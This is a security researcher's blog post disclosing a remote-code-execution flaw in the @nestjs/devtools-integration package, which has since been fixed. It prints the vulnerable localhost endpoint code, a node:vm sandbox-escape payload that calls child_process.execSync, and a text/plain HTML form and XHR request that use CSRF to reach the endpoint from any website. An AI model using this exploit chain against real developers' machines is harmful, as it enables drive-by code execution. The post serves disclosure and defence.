
Research
/Security News
60 Malicious Ruby Gems Used in Targeted Credential Theft Campaign
A RubyGems malware campaign used 60 malicious packages posing as automation tools to steal credentials from social media and marketing tool users.
Jonathan Leitschuh
August 1, 2025
Ever look at a bit of Javascript sandboxing code and say to yourself “I know I can probably break out of that”. No? Just me? Must be a security researcher thing.
As a hacker, one of the best places for vulnerabilities is in servers running locally on dev machines. Why? Because browsers still haven’t patched a 19 year old security vulnerability that allows any website to cross-talk from the public internet to local services on your machine. This long-standing vulnerability allows your browser to operate as a confused deputy, allowing attackers to use your browser to pivot and make HTTP requests to your local machine.
Combine that localhost server with an API endpoint that executes arbitrary code inside a sandbox that can be broken out of, and you find yourself looking at a critical RCE vulnerability.
As part of our ongoing review of findings from Socket’s AI-based malware detection, we examined a set of alerts that were classified as potential “vulnerabilities.” During this process, one alert in particular stood out, a piece of code flagged in @nestjs/devtools-integration that warranted deeper investigation.
The critical bit of this summary “this design pattern is inherently dangerous as it enables remote code execution if the sandbox has any weaknesses or bypasses” is the critical bit here. The AI didn’t know whether or not the sandboxed code executor had any bypasses, so I decided to take a look.
We can see the `SandboxedCodeExecutor` code here. For some strange reason, this package @nestjs/devtools-integration isn’t published to GitHub, but Socket doesn’t rely upon the source code published on GitHub. Socket looks at the source published to the package registry and scans it so we can see what the package is actually doing at runtime. This is critical because most malware isn’t published to GitHub before being uploaded to npm, meaning the only source we have to scan in the artifact registry.
It turns out that the `@nestjs/devtools-integration` adds two new endpoints to your NodeJS server running on the localhost server used for dev testing. This endpoint reads in data from a JSON post request and pulls the ‘code’ value out of the JSON to execute it in a JavaScript code sandbox.
let DevtoolsHttpServerHost = class DevtoolsHttpServerHost {
constructor(serializedGraph, sandboxedCodeExecutor, options) {
this.serializedGraph = serializedGraph;
this.sandboxedCodeExecutor = sandboxedCodeExecutor;
this.options = options;
}
onModuleInit() {
this.routes = {
['/inspector/graph/snapshot']: (req, res) => this.handleGetSnapshotRoute(req, res),
['/inspector/graph/interact']: (req, res) => this.handleGraphInteraction(req, res),
};
}
The `handleGraphInteraction` method handles the POST request, takes the data, and parses it as JSON. Then executes the contents of the `code` field in this JSON payload within the sandbox.
handleGraphInteraction(req, res) {
if (req.method === 'POST') {
let body = '';
req.on('data', data => {
body += data;
});
req.on('end', () => __awaiter(this, void 0, void 0, function* () {
res.writeHead(200, { 'Content-Type': 'application/plain' });
const json = JSON.parse(body);
yield this.sandboxedCodeExecutor.execute(json.code, res);
}));
}
}
This sandbox uses the node JS module `vm`. The module has this to say at the top:
Critically: “The node:vm module is not a security mechanism. Do not use it to run untrusted code.” This warning is the result of a very long debate on GitHub back in 2021. The debate centered around how many developers saw a module named vm and believed that it would be a safe environment to execute untrusted user code.
Looking at the code we see that @nestjs/devtools-integration is attempting to use vm as a security control.
safe-eval is the exact opposite of what it says on the tin. It was originally an attempt to make `vm` safe, and unfortunately, it failed to do so.
@nestjs/devtools-integration attempts to execute untrusted user code in a sandboxed environment established by the `runInNewContext` method.
runInNewContext(code, context, opts) {
const sandbox = {};
const resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000);
sandbox[resultKey] = {};
const ctx = `
(function() {
Function = undefined;
const keys = Object.getOwnPropertyNames(this).concat(['constructor']);
keys.forEach((key) => {
const item = this[key];
if (!item || typeof item.constructor !== 'function') return;
this[key].constructor = undefined;
});
})();
`;
code = ctx + resultKey + '=' + code;
if (context) {
Object.keys(context).forEach(function (key) {
sandbox[key] = context[key];
});
}
vm.runInNewContext(code, sandbox, opts);
return sandbox[resultKey];
}
If we look at the safe-eval project, we’ll see that this logic looks incredibly similar.
var vm = require('vm')
module.exports = function safeEval (code, context, opts) {
var sandbox = {}
var resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000)
sandbox[resultKey] = {}
var clearContext = `
(function() {
Function = undefined;
const keys = Object.getOwnPropertyNames(this).concat(['constructor']);
keys.forEach((key) => {
const item = this[key];
if (!item || typeof item.constructor !== 'function') return;
this[key].constructor = undefined;
});
})();
`
code = clearContext + resultKey + '=' + code
if (context) {
Object.keys(context).forEach(function (key) {
sandbox[key] = context[key]
})
}
vm.runInNewContext(code, sandbox, opts)
return sandbox[resultKey]
}
The safe-eval project is, as far as I can tell, abandoned. Ironically, one spectacular thing it’s good for though is a solid list of bypasses to its own attempt at sandboxing. Over the years, bounty hunters, hackers, and CTF players have collected quite a list of payloads to bypass the “sandboxing” logic in the issues.
I’ve personally used this exact same strategy back in 2020 to find a critical RCE vulnerability in Mongo-Express (GHSA-h47j-hc6x-h3qq), a vulnerability which has since made it onto the CISA Known Exploited Vulnerabilities (KEV) list.
In the case of @nestjs/devtools-integration we find that this payload just works out of the box. Playing with it just a little bit, we can create the following payload to touch a file:
(function() {
try{
propertyIsEnumerable.call();
} catch(pp){
pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag.txt');
}
})()
“Okay,” you say, “Congratulations, you can break out of a sandbox! So what?” This is where the real meat of the vulnerability comes in. This code is exploitable by any website you visit. Getting users, even devs to run untrusted code in the browser is rather trivial with phishing and malvertising. Soooo… let’s see what we can do!
The @nestjs/devtools-integration makes a vain attempt to prevent this server from being accessed from domains other than https://devtools.nestjs.com by using the Access-Control-Allow-Origin header.
initHttpServer() {
var _a, _b, _c;
return __awaiter(this, void 0, void 0, function* () {
if (!((_a = this.options) === null || _a === void 0 ? void 0 : _a.http)) {
return;
}
const requestListener = (req, res) => __awaiter(this, void 0, void 0, function* () {
res.setHeader('Access-Control-Allow-Origin', this.getAppUrl());
res.setHeader('Access-Control-Allow-Methods', 'OPTIONS, GET, POST');
res.setHeader('Access-Control-Max-Age', 2592000);
if (req.method === 'OPTIONS') {
res.writeHead(204);
res.end();
return;
}
const url = req.url;
const routeHandler = this.routes[url];
if (routeHandler) {
yield routeHandler(req, res);
}
else {
res.writeHead(405);
res.end(`${req.method} is not allowed for the request.`);
}
});
//…
Unfortunately, the Access-Control-Allow-Origin header operates as an allow-list for cross-origin requests for XHR and fetch requests. However, this header does not block GET/POST requests sent via HTTP forms or using XHR with a simple content type when the request is coming from other domains. And unfortunately for end user’s security, this server isn’t checking the Content-Type header of the incoming request before parsing the input as JSON. As such, if we can craft a payload that is sent with the text/plain Content-Type header via a HTTP form request, the data will be parsed and processed by the server and we can run our payload. This strategy is detailed in this excellent blog post from DirectDefense: CSRF in the Age of JSON.
Essentially, we want to create a simplistic POST payload that executes code when the http://localhost:/inspector/graph/interact endpoint is hit and this handler code is called.
handleGraphInteraction(req, res) {
if (req.method === 'POST') {
let body = '';
req.on('data', data => {
body += data;
});
req.on('end', () => __awaiter(this, void 0, void 0, function* () {
res.writeHead(200, { 'Content-Type': 'application/plain' });
const json = JSON.parse(body);
yield this.sandboxedCodeExecutor.execute(json.code, res);
}));
}
}
We need to spoof a text/plain content type request generated by the browser and make it look like it’s JSON. Unfortunately, text/plain form requests will insert an = character between the name and value key-pairs when generating the request. In order to handle this, we add an additional bogus field to the JSON in the name field without a closing ” allowing the browser to insert the = character. Then we complete the JSON with the value field with the value ”}.
When combined, we can convince the browser to create the desired form POST request with the following form:
<form action="http://localhost:8000/inspector/graph/interact" method="POST" enctype="text/plain">
<input name="{"code": "console.log(\"hello\")", "bogus":"" value=""}" />
<input type="submit" value="Submit via form POST" />
</form>
We can see that the above form, when submitted, generates the following POST request in Burp Suite (several request headers were removed for readability).
Playing around with the XHR request, the following bit of code also works in Chrome if you explicitly set the Content-Type to something “simple.” Simple Requests don’t trigger pre-flight requests. So in this case we use the Content-Type “text/plain” which also bypasses CORS.
<button onclick="sendConsoleLogXHR()">Send console.log XHR Request</button>
<script>
function sendConsoleLogXHR() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:8000/inspector/graph/interact");
xhr.withCredentials = false;
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send('{"code":"console.log(\\"hello\\")"}');
}
</script>
While the Chrome dev tools pitch a fit complaining about the Access-Control-Allowed-Origin response header, the POST request was still sent, and we see the 200 response code.
Indeed, intercepting the XHR request, we can also see the request in burp, as expected.
Let’s tie this all together. We have a sandbox escape and a Cross-Site Request Forgery (CSRF) vulnerability. The sandbox escape means we can execute arbitrary code on the developer’s machine, and the CSRF vulnerability means any website can trigger this from a user’s browser. This is a complete Remote Code Execution (RCE) vulnerability that’s exploitable just by visiting a malicious website.
In the case of the POC, we just pop the MacOS calculator:
(function() {
try{
propertyIsEnumerable.call();
} catch(pp){
pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app');
}
})()
The Proof-of-Concept (POC) below demonstrates the ability to execute arbitrary code on a NestJS developer's machine simply by having them visit a malicious webpage. You can even try it out yourself using the demo project provided! Even though the vulnerability has been fixed, the POC should still work as the dependency is locked to the vulnerable version.
In a real version of the exploit, the victim wouldn’t need to press the “submit” button, javascript can execute those payloads without user interaction required on pageload.
If you’d like to try out the POC for yourself, git checkout this repository, run npm install, then run npm start:dev. This will spin up the vulnerable server. Then try the POC.
CRITICALLY: Make sure you shut down the server when you’re done!
This is the advice that I offered the @nestjs/devtools-integration maintainer, Kamil Myśliwiec, to resolve this security issue and overall harden the application against this sort of attack in the future.
Any one of these solutions would likely have been sufficient to protect against this vulnerability. However, this defense-in-depth strategy means that, should any of the proposed solutions fail, there is another mitigating solution that will make it harder for this sort of vulnerability to be exploitable against @nestjs/devtools-integration in the future.
Overall, I was impressed by the developer's quick response, understanding of the vulnerability, and rapid remediation time.
Unfortunately vulnerabilities like this are way too common. Local webservers are often given a significant amount of privileges, and compromising them has led to a very long history of Remote Code Execution (RCE) vulnerabilities. Browsers have been asleep at the wheel in terms of protecting end-users from being victimized by vulnerable local processes and have only recently begun implementing solutions to warn users about websites making arbitrary requests to local processes. Thankfully, we will likely soon be seeing “would you like to allow this site to access your camera” style pop-up prompts, but for when sites attempt to access local domains. This will significantly reduce the ability for attackers to achieve zero-click driveby attacks via malvertising and phishing attacks.
Overall, I was impressed by the response by the @nestjs/devtools-integration and would be delighted to engage in vulnerability disclosure with their team in the future.
Jonathan Leitschuh is a OSS Software Security Researcher and self proclaimed Vulnerability Janitor. He was the first Dan Kaminsky Fellow @ Human Security and later led a small research team for the Open Source Security Foundation (OpenSSF) project Alpha-Omega. Jonathan is best known for his July 2019 bombshell Zoom 0-day vulnerability disclosure. He is amongst the most prolific OSS researchers on GitHub by advisory credit. He’s both a GitHub Star and former GitHub Security Ambassador. In 2018 he championed an industry-wide initiative to get all major artifact servers in the JVM ecosystem to formally decommission the support of HTTP in favor of HTTPS only. He has spoken at many conferences including BSides, ShmooCon, GitHub Universe, Black Hat, & DEFCON
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Research
/Security News
A RubyGems malware campaign used 60 malicious packages posing as automation tools to steal credentials from social media and marketing tool users.
Research
/Security News
Two npm packages masquerading as WhatsApp developer libraries include a kill switch that deletes all files if the phone number isn’t whitelisted.
Research
/Security News
Socket uncovered 11 malicious Go packages using obfuscated loaders to fetch and execute second-stage payloads via C2 domains.